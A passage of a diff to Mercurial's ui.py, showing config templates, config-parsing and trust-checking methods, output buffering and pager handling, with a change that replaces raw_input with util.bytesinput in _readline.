 # my-clone        = /home/jdoe/jdoes-clone
 
 [ui]
 # name and email (local to this repository, optional), e.g.
 # username = Jane Doe <[e-mail]>
 """,
 
     'local':
 b"""# example repository config (see 'hg help config' for more info)
 [paths]
 # path aliases to other clones of this repo in URLs or filesystem paths
 # (see 'hg help config.paths' for more info)
 #
 # default         = http://example.com/hg/example-repo
 # default:pushurl = ssh://[e-mail]/hg/jdoes-fork
 # my-fork         = ssh://[e-mail]/hg/jdoes-fork
 # my-clone        = /home/jdoe/jdoes-clone
 
 [ui]
 # name and email (local to this repository, optional), e.g.
 # username = Jane Doe <[e-mail]>
 """,
 
     'global':
 b"""# example system-wide hg config (see 'hg help config' for more info)
 
 [ui]
 # uncomment to disable color in command output
 # (see 'hg help color' for details)
 # color = never
 
 # uncomment to disable command output pagination
 # (see 'hg help pager' for details)
 # paginate = never
 
 [extensions]
 # uncomment these lines to enable some popular extensions
 # (see 'hg help extensions' for more info)
 #
 # blackbox =
 # churn =
 """,
 }
 
 
 class httppasswordmgrdbproxy(object):
     """Delays loading urllib2 until it's needed."""
     def __init__(self):
         self._mgr = None
 
     def _get_mgr(self):
         if self._mgr is None:
             self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
         return self._mgr
 
     def add_password(self, *args, **kwargs):
         return self._get_mgr().add_password(*args, **kwargs)
 
     def find_user_password(self, *args, **kwargs):
         return self._get_mgr().find_user_password(*args, **kwargs)
 
 def _catchterm(*args):
     raise error.SignalInterrupt
 
 # unique object used to detect no default value has been provided when
 # retrieving configuration value.
 _unset = object()
 
 class ui(object):
     def __init__(self, src=None):
         """Create a fresh new ui object if no src given
 
         Use uimod.ui.load() to create a ui which knows global and user configs.
         In most cases, you should use ui.copy() to create a copy of an existing
         ui object.
         """
         # _buffers: used for temporary capture of output
         self._buffers = []
         # _exithandlers: callbacks run at the end of a request
         self._exithandlers = []
         # 3-tuple describing how each buffer in the stack behaves.
         # Values are (capture stderr, capture subprocesses, apply labels).
         self._bufferstates = []
         # When a buffer is active, defines whether we are expanding labels.
         # This exists to prevent an extra list lookup.
         self._bufferapplylabels = None
         self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
         self._reportuntrusted = True
         self._knownconfig = configitems.coreitems
         self._ocfg = config.config() # overlay
         self._tcfg = config.config() # trusted
         self._ucfg = config.config() # untrusted
         self._trustusers = set()
         self._trustgroups = set()
         self.callhooks = True
         # Insecure server connections requested.
         self.insecureconnections = False
         # Blocked time
         self.logblockedtimes = False
         # color mode: see mercurial/color.py for possible value
         self._colormode = None
         self._terminfoparams = {}
         self._styles = {}
 
         if src:
             self._exithandlers = src._exithandlers
             self.fout = src.fout
             self.ferr = src.ferr
             self.fin = src.fin
             self.pageractive = src.pageractive
             self._disablepager = src._disablepager
             self._tweaked = src._tweaked
 
             self._tcfg = src._tcfg.copy()
             self._ucfg = src._ucfg.copy()
             self._ocfg = src._ocfg.copy()
             self._trustusers = src._trustusers.copy()
             self._trustgroups = src._trustgroups.copy()
             self.environ = src.environ
             self.callhooks = src.callhooks
             self.insecureconnections = src.insecureconnections
             self._colormode = src._colormode
             self._terminfoparams = src._terminfoparams.copy()
             self._styles = src._styles.copy()
 
             self.fixconfig()
 
             self.httppasswordmgrdb = src.httppasswordmgrdb
             self._blockedtimes = src._blockedtimes
         else:
             self.fout = util.stdout
             self.ferr = util.stderr
             self.fin = util.stdin
             self.pageractive = False
             self._disablepager = False
             self._tweaked = False
 
             # shared read-only environment
             self.environ = encoding.environ
 
             self.httppasswordmgrdb = httppasswordmgrdbproxy()
             self._blockedtimes = collections.defaultdict(int)
 
         allowed = self.configlist('experimental', 'exportableenviron')
         if '*' in allowed:
             self._exportableenviron = self.environ
         else:
             self._exportableenviron = {}
             for k in allowed:
                 if k in self.environ:
                     self._exportableenviron[k] = self.environ[k]
 
     @classmethod
     def load(cls):
         """Create a ui and load global and user configs"""
         u = cls()
         # we always trust global config files and environment variables
         for t, f in rcutil.rccomponents():
             if t == 'path':
                 u.readconfig(f, trust=True)
             elif t == 'items':
                 sections = set()
                 for section, name, value, source in f:
                     # do not set u._ocfg
                     # XXX clean this up once immutable config object is a thing
                     u._tcfg.set(section, name, value, source)
                     u._ucfg.set(section, name, value, source)
                     sections.add(section)
                 for section in sections:
                     u.fixconfig(section=section)
             else:
                 raise error.ProgrammingError('unknown rctype: %s' % t)
         u._maybetweakdefaults()
         return u
 
     def _maybetweakdefaults(self):
         if not self.configbool('ui', 'tweakdefaults'):
             return
         if self._tweaked or self.plain('tweakdefaults'):
             return
 
         # Note: it is SUPER IMPORTANT that you set self._tweaked to
         # True *before* any calls to setconfig(), otherwise you'll get
         # infinite recursion between setconfig and this method.
         #
         # TODO: We should extract an inner method in setconfig() to
         # avoid this weirdness.
         self._tweaked = True
         tmpcfg = config.config()
         tmpcfg.parse('<tweakdefaults>', tweakrc)
         for section in tmpcfg:
             for name, value in tmpcfg.items(section):
                 if not self.hasconfig(section, name):
                     self.setconfig(section, name, value, "<tweakdefaults>")
 
     def copy(self):
         return self.__class__(self)
 
     def resetstate(self):
         """Clear internal state that shouldn't persist across commands"""
         if self._progbar:
             self._progbar.resetstate()  # reset last-print time of progress bar
         self.httppasswordmgrdb = httppasswordmgrdbproxy()
 
     @contextlib.contextmanager
     def timeblockedsection(self, key):
         # this is open-coded below - search for timeblockedsection to find them
         starttime = util.timer()
         try:
             yield
         finally:
             self._blockedtimes[key + '_blocked'] += \
                 (util.timer() - starttime) * 1000
 
     def formatter(self, topic, opts):
         return formatter.formatter(self, self, topic, opts)
 
     def _trusted(self, fp, f):
         st = util.fstat(fp)
         if util.isowner(st):
             return True
 
         tusers, tgroups = self._trustusers, self._trustgroups
         if '*' in tusers or '*' in tgroups:
             return True
 
         user = util.username(st.st_uid)
         group = util.groupname(st.st_gid)
         if user in tusers or group in tgroups or user == util.username():
             return True
 
         if self._reportuntrusted:
             self.warn(_('not trusting file %s from untrusted '
                         'user %s, group %s\n') % (f, user, group))
         return False
 
     def readconfig(self, filename, root=None, trust=False,
                    sections=None, remap=None):
         try:
             fp = open(filename, u'rb')
         except IOError:
             if not sections: # ignore unless we were looking for something
                 return
             raise
 
         cfg = config.config()
         trusted = sections or trust or self._trusted(fp, filename)
 
         try:
             cfg.read(filename, fp, sections=sections, remap=remap)
             fp.close()
         except error.ConfigError as inst:
             if trusted:
                 raise
             self.warn(_("ignored: %s\n") % str(inst))
 
         if self.plain():
             for k in ('debug', 'fallbackencoding', 'quiet', 'slash',
                       'logtemplate', 'statuscopies', 'style',
                       'traceback', 'verbose'):
                 if k in cfg['ui']:
                     del cfg['ui'][k]
             for k, v in cfg.items('defaults'):
                 del cfg['defaults'][k]
             for k, v in cfg.items('commands'):
                 del cfg['commands'][k]
         # Don't remove aliases from the configuration if in the exceptionlist
         if self.plain('alias'):
             for k, v in cfg.items('alias'):
                 del cfg['alias'][k]
         if self.plain('revsetalias'):
             for k, v in cfg.items('revsetalias'):
                 del cfg['revsetalias'][k]
         if self.plain('templatealias'):
             for k, v in cfg.items('templatealias'):
                 del cfg['templatealias'][k]
 
         if trusted:
             self._tcfg.update(cfg)
             self._tcfg.update(self._ocfg)
         self._ucfg.update(cfg)
         self._ucfg.update(self._ocfg)
 
         if root is None:
             root = os.path.expanduser('~')
         self.fixconfig(root=root)
 
     def fixconfig(self, root=None, section=None):
         if section in (None, 'paths'):
             # expand vars and ~
             # translate paths relative to root (or home) into absolute paths
             root = root or pycompat.getcwd()
             for c in self._tcfg, self._ucfg, self._ocfg:
                 for n, p in c.items('paths'):
                     # Ignore sub-options.
                     if ':' in n:
                         continue
                     if not p:
                         continue
                     if '%%' in p:
                         s = self.configsource('paths', n) or 'none'
                         self.warn(_("(deprecated '%%' in path %s=%s from %s)\n")
                                   % (n, p, s))
                         p = p.replace('%%', '%')
                     p = util.expandpath(p)
                     if not util.hasscheme(p) and not os.path.isabs(p):
                         p = os.path.normpath(os.path.join(root, p))
                     c.set("paths", n, p)
 
         if section in (None, 'ui'):
             # update ui options
             self.debugflag = self.configbool('ui', 'debug')
             self.verbose = self.debugflag or self.configbool('ui', 'verbose')
             self.quiet = not self.debugflag and self.configbool('ui', 'quiet')
             if self.verbose and self.quiet:
                 self.quiet = self.verbose = False
             self._reportuntrusted = self.debugflag or self.configbool("ui",
                 "report_untrusted")
             self.tracebackflag = self.configbool('ui', 'traceback')
             self.logblockedtimes = self.configbool('ui', 'logblockedtimes')
 
         if section in (None, 'trusted'):
             # update trust information
             self._trustusers.update(self.configlist('trusted', 'users'))
             self._trustgroups.update(self.configlist('trusted', 'groups'))
 
     def backupconfig(self, section, item):
         return (self._ocfg.backup(section, item),
                 self._tcfg.backup(section, item),
                 self._ucfg.backup(section, item),)
     def restoreconfig(self, data):
         self._ocfg.restore(data[0])
         self._tcfg.restore(data[1])
         self._ucfg.restore(data[2])
 
     def setconfig(self, section, name, value, source=''):
         for cfg in (self._ocfg, self._tcfg, self._ucfg):
             cfg.set(section, name, value, source)
         self.fixconfig(section=section)
         self._maybetweakdefaults()
 
     def _data(self, untrusted):
         return untrusted and self._ucfg or self._tcfg
 
     def configsource(self, section, name, untrusted=False):
         return self._data(untrusted).source(section, name)
 
     def config(self, section, name, default=_unset, untrusted=False):
         """return the plain string version of a config"""
         value = self._config(section, name, default=default,
                              untrusted=untrusted)
         if value is _unset:
             return None
         return value
 
     def _config(self, section, name, default=_unset, untrusted=False):
         value = default
         item = self._knownconfig.get(section, {}).get(name)
         alternates = [(section, name)]
 
         if item is not None:
             alternates.extend(item.alias)
 
         if default is _unset:
             if item is None:
                 value = default
             elif item.default is configitems.dynamicdefault:
                 value = None
                 msg = "config item requires an explicit default value: '%s.%s'"
                 msg %= (section, name)
                 self.develwarn(msg, 2, 'warn-config-default')
             elif callable(item.default):
                     value = item.default()
             else:
                 value = item.default
         elif (item is not None
               and item.default is not configitems.dynamicdefault):
             msg = ("specifying a default value for a registered "
                    "config item: '%s.%s' '%s'")
             msg %= (section, name, default)
             self.develwarn(msg, 2, 'warn-config-default')
 
         for s, n in alternates:
             candidate = self._data(untrusted).get(s, n, None)
             if candidate is not None:
                 value = candidate
                 section = s
                 name = n
                 break
 
         if self.debugflag and not untrusted and self._reportuntrusted:
             for s, n in alternates:
                 uvalue = self._ucfg.get(s, n)
                 if uvalue is not None and uvalue != value:
                     self.debug("ignoring untrusted configuration option "
                                "%s.%s = %s\n" % (s, n, uvalue))
         return value
 
     def configsuboptions(self, section, name, default=_unset, untrusted=False):
         """Get a config option and all sub-options.
 
         Some config options have sub-options that are declared with the
         format "key:opt = value". This method is used to return the main
         option and all its declared sub-options.
 
         Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
         is a dict of defined sub-options where keys and values are strings.
         """
         main = self.config(section, name, default, untrusted=untrusted)
         data = self._data(untrusted)
         sub = {}
         prefix = '%s:' % name
         for k, v in data.items(section):
             if k.startswith(prefix):
                 sub[k[len(prefix):]] = v
 
         if self.debugflag and not untrusted and self._reportuntrusted:
             for k, v in sub.items():
                 uvalue = self._ucfg.get(section, '%s:%s' % (name, k))
                 if uvalue is not None and uvalue != v:
                     self.debug('ignoring untrusted configuration option '
                                '%s:%s.%s = %s\n' % (section, name, k, uvalue))
 
         return main, sub
 
     def configpath(self, section, name, default=_unset, untrusted=False):
         'get a path config item, expanded relative to repo root or config file'
         v = self.config(section, name, default, untrusted)
         if v is None:
             return None
         if not os.path.isabs(v) or "://" not in v:
             src = self.configsource(section, name, untrusted)
             if ':' in src:
                 base = os.path.dirname(src.rsplit(':')[0])
                 v = os.path.join(base, os.path.expanduser(v))
         return v
 
     def configbool(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as a boolean
 
         >>> u = ui(); s = 'foo'
         >>> u.setconfig(s, 'true', 'yes')
         >>> u.configbool(s, 'true')
         True
         >>> u.setconfig(s, 'false', 'no')
         >>> u.configbool(s, 'false')
         False
         >>> u.configbool(s, 'unknown')
         False
         >>> u.configbool(s, 'unknown', True)
         True
         >>> u.setconfig(s, 'invalid', 'somevalue')
         >>> u.configbool(s, 'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a boolean ('somevalue')
         """
 
         v = self._config(section, name, default, untrusted=untrusted)
         if v is None:
             return v
         if v is _unset:
             if default is _unset:
                 return False
             return default
         if isinstance(v, bool):
             return v
         b = util.parsebool(v)
         if b is None:
             raise error.ConfigError(_("%s.%s is not a boolean ('%s')")
                                     % (section, name, v))
         return b
 
     def configwith(self, convert, section, name, default=_unset,
                    desc=None, untrusted=False):
         """parse a configuration element with a conversion function
 
         >>> u = ui(); s = 'foo'
         >>> u.setconfig(s, 'float1', '42')
         >>> u.configwith(float, s, 'float1')
         42.0
         >>> u.setconfig(s, 'float2', '-4.25')
         >>> u.configwith(float, s, 'float2')
         -4.25
         >>> u.configwith(float, s, 'unknown', 7)
         7.0
         >>> u.setconfig(s, 'invalid', 'somevalue')
         >>> u.configwith(float, s, 'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid float ('somevalue')
         >>> u.configwith(float, s, 'invalid', desc='womble')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid womble ('somevalue')
         """
 
         v = self.config(section, name, default, untrusted)
         if v is None:
             return v # do not attempt to convert None
         try:
             return convert(v)
         except (ValueError, error.ParseError):
             if desc is None:
                 desc = convert.__name__
             raise error.ConfigError(_("%s.%s is not a valid %s ('%s')")
                                     % (section, name, desc, v))
 
     def configint(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as an integer
 
         >>> u = ui(); s = 'foo'
         >>> u.setconfig(s, 'int1', '42')
         >>> u.configint(s, 'int1')
         42
         >>> u.setconfig(s, 'int2', '-42')
         >>> u.configint(s, 'int2')
         -42
         >>> u.configint(s, 'unknown', 7)
         7
         >>> u.setconfig(s, 'invalid', 'somevalue')
         >>> u.configint(s, 'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid integer ('somevalue')
         """
 
         return self.configwith(int, section, name, default, 'integer',
                                untrusted)
 
     def configbytes(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as a quantity in bytes
 
         Units can be specified as b (bytes), k or kb (kilobytes), m or
         mb (megabytes), g or gb (gigabytes).
 
         >>> u = ui(); s = 'foo'
         >>> u.setconfig(s, 'val1', '42')
         >>> u.configbytes(s, 'val1')
         42
         >>> u.setconfig(s, 'val2', '42.5 kb')
         >>> u.configbytes(s, 'val2')
         43520
         >>> u.configbytes(s, 'unknown', '7 MB')
         7340032
         >>> u.setconfig(s, 'invalid', 'somevalue')
         >>> u.configbytes(s, 'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a byte quantity ('somevalue')
         """
 
         value = self._config(section, name, default, untrusted)
         if value is _unset:
             if default is _unset:
                 default = 0
             value = default
         if not isinstance(value, bytes):
             return value
         try:
             return util.sizetoint(value)
         except error.ParseError:
             raise error.ConfigError(_("%s.%s is not a byte quantity ('%s')")
                                     % (section, name, value))
 
     def configlist(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as a list of comma/space separated
         strings
 
         >>> u = ui(); s = 'foo'
         >>> u.setconfig(s, 'list1', 'this,is "a small" ,test')
         >>> u.configlist(s, 'list1')
         ['this', 'is', 'a small', 'test']
         """
         # default is not always a list
         v = self.configwith(config.parselist, section, name, default,
                                'list', untrusted)
         if isinstance(v, bytes):
             return config.parselist(v)
         elif v is None:
             return []
         return v
 
     def configdate(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as a tuple of ints
 
         >>> u = ui(); s = 'foo'
         >>> u.setconfig(s, 'date', '0 0')
         >>> u.configdate(s, 'date')
         (0, 0)
         """
         if self.config(section, name, default, untrusted):
             return self.configwith(util.parsedate, section, name, default,
                                    'date', untrusted)
         if default is _unset:
             return None
         return default
 
     def hasconfig(self, section, name, untrusted=False):
         return self._data(untrusted).hasitem(section, name)
 
     def has_section(self, section, untrusted=False):
         '''tell whether section exists in config.'''
         return section in self._data(untrusted)
 
     def configitems(self, section, untrusted=False, ignoresub=False):
         items = self._data(untrusted).items(section)
         if ignoresub:
             newitems = {}
             for k, v in items:
                 if ':' not in k:
                     newitems[k] = v
             items = newitems.items()
         if self.debugflag and not untrusted and self._reportuntrusted:
             for k, v in self._ucfg.items(section):
                 if self._tcfg.get(section, k) != v:
                     self.debug("ignoring untrusted configuration option "
                                "%s.%s = %s\n" % (section, k, v))
         return items
 
     def walkconfig(self, untrusted=False):
         cfg = self._data(untrusted)
         for section in cfg.sections():
             for name, value in self.configitems(section, untrusted):
                 yield section, name, value
 
     def plain(self, feature=None):
         '''is plain mode active?
 
         Plain mode means that all configuration variables which affect
         the behavior and output of Mercurial should be
         ignored. Additionally, the output should be stable,
         reproducible and suitable for use in scripts or applications.
 
         The only way to trigger plain mode is by setting either the
         `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
 
         The return value can either be
         - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
         - True otherwise
         '''
         if ('HGPLAIN' not in encoding.environ and
                 'HGPLAINEXCEPT' not in encoding.environ):
             return False
         exceptions = encoding.environ.get('HGPLAINEXCEPT',
                 '').strip().split(',')
         if feature and exceptions:
             return feature not in exceptions
         return True
 
     def username(self):
         """Return default username to be used in commits.
 
         Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
         and stop searching if one of these is set.
         If not found and ui.askusername is True, ask the user, else use
         ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
         """
         user = encoding.environ.get("HGUSER")
         if user is None:
             user = self.config("ui", "username")
             if user is not None:
                 user = os.path.expandvars(user)
         if user is None:
             user = encoding.environ.get("EMAIL")
         if user is None and self.configbool("ui", "askusername"):
             user = self.prompt(_("enter a commit username:"), default=None)
         if user is None and not self.interactive():
             try:
                 user = '%s@%s' % (util.getuser(), socket.getfqdn())
                 self.warn(_("no username found, using '%s' instead\n") % user)
             except KeyError:
                 pass
         if not user:
             raise error.Abort(_('no username supplied'),
                              hint=_("use 'hg config --edit' "
                                     'to set your username'))
         if "\n" in user:
             raise error.Abort(_("username %s contains a newline\n")
                               % repr(user))
         return user
 
     def shortuser(self, user):
         """Return a short representation of a user name or email address."""
         if not self.verbose:
             user = util.shortuser(user)
         return user
 
     def expandpath(self, loc, default=None):
         """Return repository location relative to cwd or from [paths]"""
         try:
             p = self.paths.getpath(loc)
             if p:
                 return p.rawloc
         except error.RepoError:
             pass
 
         if default:
             try:
                 p = self.paths.getpath(default)
                 if p:
                     return p.rawloc
             except error.RepoError:
                 pass
 
         return loc
 
     @util.propertycache
     def paths(self):
         return paths(self)
 
     def pushbuffer(self, error=False, subproc=False, labeled=False):
         """install a buffer to capture standard output of the ui object
 
         If error is True, the error output will be captured too.
 
         If subproc is True, output from subprocesses (typically hooks) will be
         captured too.
 
         If labeled is True, any labels associated with buffered
         output will be handled. By default, this has no effect
         on the output returned, but extensions and GUI tools may
         handle this argument and returned styled output. If output
         is being buffered so it can be captured and parsed or
         processed, labeled should not be set to True.
         """
         self._buffers.append([])
         self._bufferstates.append((error, subproc, labeled))
         self._bufferapplylabels = labeled
 
     def popbuffer(self):
         '''pop the last buffer and return the buffered output'''
         self._bufferstates.pop()
         if self._bufferstates:
             self._bufferapplylabels = self._bufferstates[-1][2]
         else:
             self._bufferapplylabels = None
 
         return "".join(self._buffers.pop())
 
     def write(self, *args, **opts):
         '''write args to output
 
         By default, this method simply writes to the buffer or stdout.
         Color mode can be set on the UI class to have the output decorated
         with color modifier before being written to stdout.
 
         The color used is controlled by an optional keyword argument, "label".
         This should be a string containing label names separated by space.
         Label names take the form of "topic.type". For example, ui.debug()
         issues a label of "ui.debug".
 
         When labeling output for a specific command, a label of
         "cmdname.type" is recommended. For example, status issues
         a label of "status.modified" for modified files.
         '''
         if self._buffers and not opts.get('prompt', False):
             if self._bufferapplylabels:
                 label = opts.get('label', '')
                 self._buffers[-1].extend(self.label(a, label) for a in args)
             else:
                 self._buffers[-1].extend(args)
         elif self._colormode == 'win32':
             # windows color printing is its own can of crab, defer to
             # the color module and that is it.
             color.win32print(self, self._write, *args, **opts)
         else:
             msgs = args
             if self._colormode is not None:
                 label = opts.get('label', '')
                 msgs = [self.label(a, label) for a in args]
             self._write(*msgs, **opts)
 
     def _write(self, *msgs, **opts):
         self._progclear()
         # opencode timeblockedsection because this is a critical path
         starttime = util.timer()
         try:
             for a in msgs:
                 self.fout.write(a)
         except IOError as err:
             raise error.StdioError(err)
         finally:
             self._blockedtimes['stdio_blocked'] += \
                 (util.timer() - starttime) * 1000
 
     def write_err(self, *args, **opts):
         self._progclear()
         if self._bufferstates and self._bufferstates[-1][0]:
             self.write(*args, **opts)
         elif self._colormode == 'win32':
             # windows color printing is its own can of crab, defer to
             # the color module and that is it.
             color.win32print(self, self._write_err, *args, **opts)
         else:
             msgs = args
             if self._colormode is not None:
                 label = opts.get('label', '')
                 msgs = [self.label(a, label) for a in args]
             self._write_err(*msgs, **opts)
 
     def _write_err(self, *msgs, **opts):
         try:
             with self.timeblockedsection('stdio'):
                 if not getattr(self.fout, 'closed', False):
                     self.fout.flush()
                 for a in msgs:
                     self.ferr.write(a)
                 # stderr may be buffered under win32 when redirected to files,
                 # including stdout.
                 if not getattr(self.ferr, 'closed', False):
                     self.ferr.flush()
         except IOError as inst:
             raise error.StdioError(inst)
 
     def flush(self):
         # opencode timeblockedsection because this is a critical path
         starttime = util.timer()
         try:
             try:
                 self.fout.flush()
             except IOError as err:
                 raise error.StdioError(err)
             finally:
                 try:
                     self.ferr.flush()
                 except IOError as err:
                     raise error.StdioError(err)
         finally:
             self._blockedtimes['stdio_blocked'] += \
                 (util.timer() - starttime) * 1000
 
     def _isatty(self, fh):
         if self.configbool('ui', 'nontty'):
             return False
         return util.isatty(fh)
 
     def disablepager(self):
         self._disablepager = True
 
     def pager(self, command):
         """Start a pager for subsequent command output.
 
         Commands which produce a long stream of output should call
         this function to activate the user's preferred pagination
         mechanism (which may be no pager). Calling this function
         precludes any future use of interactive functionality, such as
         prompting the user or activating curses.
 
         Args:
           command: The full, non-aliased name of the command. That is, "log"
                    not "history, "summary" not "summ", etc.
         """
         if (self._disablepager
             or self.pageractive):
             # how pager should do is already determined
             return
 
         if not command.startswith('internal-always-') and (
             # explicit --pager=on (= 'internal-always-' prefix) should
             # take precedence over disabling factors below
             command in self.configlist('pager', 'ignore')
             or not self.configbool('ui', 'paginate')
             or not self.configbool('pager', 'attend-' + command, True)
             # TODO: if we want to allow HGPLAINEXCEPT=pager,
             # formatted() will need some adjustment.
             or not self.formatted()
             or self.plain()
             # TODO: expose debugger-enabled on the UI object
             or '--debugger' in pycompat.sysargv):
             # We only want to paginate if the ui appears to be
             # interactive, the user didn't say HGPLAIN or
             # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
             return
 
         pagercmd = self.config('pager', 'pager', rcutil.fallbackpager)
         if not pagercmd:
             return
 
         pagerenv = {}
         for name, value in rcutil.defaultpagerenv().items():
             if name not in encoding.environ:
                 pagerenv[name] = value
 
         self.debug('starting pager for command %r\n' % command)
         self.flush()
 
         wasformatted = self.formatted()
         if util.safehasattr(signal, "SIGPIPE"):
             signal.signal(signal.SIGPIPE, _catchterm)
         if self._runpager(pagercmd, pagerenv):
             self.pageractive = True
             # Preserve the formatted-ness of the UI. This is important
             # because we mess with stdout, which might confuse
             # auto-detection of things being formatted.
             self.setconfig('ui', 'formatted', wasformatted, 'pager')
             self.setconfig('ui', 'interactive', False, 'pager')
 
             # If pagermode differs from color.mode, reconfigure color now that
             # pageractive is set.
             cm = self._colormode
             if cm != self.config('color', 'pagermode', cm):
                 color.setup(self)
         else:
             # If the pager can't be spawned in dispatch when --pager=on is
             # given, don't try again when the command runs, to avoid a duplicate
             # warning about a missing pager command.
             self.disablepager()
 
     def _runpager(self, command, env=None):
         """Actually start the pager and set up file descriptors.
 
         This is separate in part so that extensions (like chg) can
         override how a pager is invoked.
         """
         if command == 'cat':
             # Save ourselves some work.
             return False
         # If the command doesn't contain any of these characters, we
         # assume it's a binary and exec it directly. This means for
         # simple pager command configurations, we can degrade
         # gracefully and tell the user about their broken pager.
         shell = any(c in command for c in "|&;<>()$`\\\"' \t\n*?[#~=%")
 
         if pycompat.osname == 'nt' and not shell:
             # Window's built-in `more` cannot be invoked with shell=False, but
             # its `more.com` can.  Hide this implementation detail from the
             # user so we can also get sane bad PAGER behavior.  MSYS has
             # `more.exe`, so do a cmd.exe style resolution of the executable to
             # determine which one to use.
             fullcmd = util.findexe(command)
             if not fullcmd:
                 self.warn(_("missing pager command '%s', skipping pager\n")
                           % command)
                 return False
 
             command = fullcmd
 
         try:
             pager = subprocess.Popen(
                 command, shell=shell, bufsize=-1,
                 close_fds=util.closefds, stdin=subprocess.PIPE,
                 stdout=util.stdout, stderr=util.stderr,
                 env=util.shellenviron(env))
         except OSError as e:
             if e.errno == errno.ENOENT and not shell:
                 self.warn(_("missing pager command '%s', skipping pager\n")
                           % command)
                 return False
             raise
 
         # back up original file descriptors
         stdoutfd = os.dup(util.stdout.fileno())
         stderrfd = os.dup(util.stderr.fileno())
 
         os.dup2(pager.stdin.fileno(), util.stdout.fileno())
         if self._isatty(util.stderr):
             os.dup2(pager.stdin.fileno(), util.stderr.fileno())
 
         @self.atexit
         def killpager():
             if util.safehasattr(signal, "SIGINT"):
                 signal.signal(signal.SIGINT, signal.SIG_IGN)
             # restore original fds, closing pager.stdin copies in the process
             os.dup2(stdoutfd, util.stdout.fileno())
             os.dup2(stderrfd, util.stderr.fileno())
             pager.stdin.close()
             pager.wait()
 
         return True
 
     def atexit(self, func, *args, **kwargs):
         '''register a function to run after dispatching a request
 
         Handlers do not stay registered across request boundaries.'''
         self._exithandlers.append((func, args, kwargs))
         return func
 
     def interface(self, feature):
         """what interface to use for interactive console features?
 
         The interface is controlled by the value of `ui.interface` but also by
         the value of feature-specific configuration. For example:
 
         ui.interface.histedit = text
         ui.interface.chunkselector = curses
 
         Here the features are "histedit" and "chunkselector".
 
         The configuration above means that the default interfaces for commands
         is curses, the interface for histedit is text and the interface for
         selecting chunk is crecord (the best curses interface available).
 
         Consider the following example:
         ui.interface = curses
         ui.interface.histedit = text
 
         Then histedit will use the text interface and chunkselector will use
         the default curses interface (crecord at the moment).
         """
         alldefaults = frozenset(["text", "curses"])
 
         featureinterfaces = {
             "chunkselector": [
                 "text",
                 "curses",
             ]
         }
 
         # Feature-specific interface
         if feature not in featureinterfaces.keys():
             # Programming error, not user error
             raise ValueError("Unknown feature requested %s" % feature)
 
         availableinterfaces = frozenset(featureinterfaces[feature])
         if alldefaults > availableinterfaces:
             # Programming error, not user error. We need a use case to
             # define the right thing to do here.
             raise ValueError(
                 "Feature %s does not handle all default interfaces" %
                 feature)
 
         if self.plain():
             return "text"
 
         # Default interface for all the features
         defaultinterface = "text"
         i = self.config("ui", "interface")
         if i in alldefaults:
             defaultinterface = i
 
         choseninterface = defaultinterface
         f = self.config("ui", "interface.%s" % feature, None)
         if f in availableinterfaces:
             choseninterface = f
 
         if i is not None and defaultinterface != i:
             if f is not None:
                 self.warn(_("invalid value for ui.interface: %s\n") %
                           (i,))
             else:
                 self.warn(_("invalid value for ui.interface: %s (using %s)\n") %
                          (i, choseninterface))
         if f is not None and choseninterface != f:
             self.warn(_("invalid value for ui.interface.%s: %s (using %s)\n") %
                       (feature, f, choseninterface))
 
         return choseninterface
 
     def interactive(self):
         '''is interactive input allowed?
 
         An interactive session is a session where input can be reasonably read
         from `sys.stdin'. If this function returns false, any attempt to read
         from stdin should fail with an error, unless a sensible default has been
         specified.
 
         Interactiveness is triggered by the value of the `ui.interactive'
         configuration variable or - if it is unset - when `sys.stdin' points
         to a terminal device.
 
         This function refers to input only; for output, see `ui.formatted()'.
         '''
         i = self.configbool("ui", "interactive")
         if i is None:
             # some environments replace stdin without implementing isatty
             # usually those are non-interactive
             return self._isatty(self.fin)
 
         return i
 
     def termwidth(self):
         '''how wide is the terminal in columns?
         '''
         if 'COLUMNS' in encoding.environ:
             try:
                 return int(encoding.environ['COLUMNS'])
             except ValueError:
                 pass
         return scmutil.termsize(self)[0]
 
     def formatted(self):
         '''should formatted output be used?
 
         It is often desirable to format the output to suite the output medium.
         Examples of this are truncating long lines or colorizing messages.
         However, this is not often not desirable when piping output into other
         utilities, e.g. `grep'.
 
         Formatted output is triggered by the value of the `ui.formatted'
         configuration variable or - if it is unset - when `sys.stdout' points
         to a terminal device. Please note that `ui.formatted' should be
         considered an implementation detail; it is not intended for use outside
         Mercurial or its extensions.
 
         This function refers to output only; for input, see `ui.interactive()'.
         This function always returns false when in plain mode, see `ui.plain()'.
         '''
         if self.plain():
             return False
 
         i = self.configbool("ui", "formatted")
         if i is None:
             # some environments replace stdout without implementing isatty
             # usually those are non-interactive
             return self._isatty(self.fout)
 
         return i
 
     def _readline(self, prompt=''):
         if self._isatty(self.fin):
             try:
                 # magically add command line editing support, where
                 # available
                 import readline
                 # force demandimport to really load the module
                 readline.read_history_file
                 # windows sometimes raises something other than ImportError
             except Exception:
                 pass
 
         # call write() so output goes through subclassed implementation
         # e.g. color extension on Windows
         self.write(prompt, prompt=True)
         self.flush()
 
-        # instead of trying to emulate raw_input, swap (self.fin,
-        # self.fout) with (sys.stdin, sys.stdout)
-        oldin = sys.stdin
-        oldout = sys.stdout
-        sys.stdin = self.fin
-        sys.stdout = self.fout
         # prompt ' ' must exist; otherwise readline may delete entire line
         # - http://bugs.python.org/issue12833
         with self.timeblockedsection('stdio'):
-            line = raw_input(' ')
-        sys.stdin = oldin
-        sys.stdout = oldout
+            line = util.bytesinput(self.fin, self.fout, r' ')
 
         # When stdin is in binary mode on Windows, it can cause
